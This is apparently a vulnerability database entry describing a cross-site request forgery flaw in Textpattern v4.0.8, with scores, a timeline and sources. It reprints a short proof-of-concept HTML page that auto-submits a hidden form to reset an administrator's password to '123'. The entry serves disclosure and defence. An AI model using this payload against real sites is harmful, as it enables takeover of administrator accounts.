Textpattern v4.0.8 cross-site request forgery

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Summaryinfo

A vulnerability was found in Textpattern v4.0.8 and classified as problematic. This affects an unknown function. Such manipulation leads to cross-site request forgery. The attack may be performed from remote. In addition, an exploit is available.

Detailsinfo

A vulnerability was found in Textpattern v4.0.8. It has been rated as problematic. Affected by this issue is an unknown code. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is integrity.

The bug was discovered 06/08/2011. The weakness was presented 06/07/2011 as VL-ID 11 as not defined advisory (Website). The advisory is shared for download at vulnerability-lab.com. The attack may be launched remotely. No form of authentication is required for exploitation. Successful exploitation requires user interaction by the victim. Technical details are unknown but a public exploit is available.

After immediately, there has been an exploit disclosed. The exploit is available at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

<html>
   <body onLoad="javascript:document.form.submit()">
      <form action="http://localhost/textpattern/textpattern/index.php" method="POST" name="form">
         <input type="hidden" name="new_pass" value="123">
         <input type="hidden" name="mail_password" value="0">
         <input type="hidden" name="event" value="admin">
         <input type="hidden" name="change_pass" value="x">
         <input type="hidden" name="step" value="change_pass">
      </form>
   </body>
</html>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Name

Textpattern

Version

v4.0.8

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VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 3.9

VulDB Base Score: 4.3
VulDB Temp Score: 3.9
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Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
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Physical: No
Local: No
Remote: Yes

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Access: Public
Status: Proof-of-Concept
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Countermeasuresinfo

Recommended: no mitigation known
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Timelineinfo

06/07/2011 🔍
06/07/2011 +0 days 🔍
06/08/2011 +1 days 🔍
09/05/2016 +1916 days 🔍
04/09/2019 +946 days 🔍

Sourcesinfo

Advisory: VL-ID 11
Status: Not defined

GCVE (VulDB): GCVE-100-91088
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 09/05/2016 23:36
Updated: 04/09/2019 16:19
Changes: 09/05/2016 23:36 (41), 04/09/2019 16:19 (1)
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